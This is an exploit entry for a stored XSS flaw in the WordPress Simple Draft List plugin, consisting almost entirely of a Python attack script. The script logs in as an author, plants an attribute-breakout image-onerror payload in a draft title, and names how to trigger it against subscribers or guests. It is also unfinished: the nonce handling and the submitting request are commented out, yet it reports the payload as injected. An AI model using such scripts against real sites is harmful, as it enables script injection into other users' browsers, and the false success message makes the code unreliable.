CVE-2026-9104 WordPress Draft List插件存储型XSS漏洞

import requests # Exploit Title: WordPress Simple Draft List Plugin < 2.6.4 - Stored XSS (Author+) # Date: 2026-05-22 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/plugins/simple-draft-list/ # Version: <= 2.6.3 def exploit(target_url, username, password): session = requests.Session() # 1. Login to get auth cookies login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } session.post(login_url, data=login_data) # 2. Create a new draft post with malicious payload in title # Payload utilizes attribute breakout technique payload = '"><img src=x onerror=alert(1)>' post_url = f"{target_url}/wp-admin/post-new.php" # Fetch nonce first post_page = session.get(post_url) # Note: In a real exploit, parse the '_wpnonce' from post_page.text here draft_data = { 'post_title': payload, 'content': 'This is a test draft for XSS.', 'post_status': 'draft', # '_wpnonce': '...' # 'action': 'editpost', # ... other WP form fields } # session.post(post_url, data=draft_data) print(f"[+] Payload injected into draft title: {payload}") print(f"[+] Trigger: Visit a page displaying the draft list as a Subscriber/Guest.") if __name__ == "__main__": # Example usage exploit("http://target-site.com", "author", "password")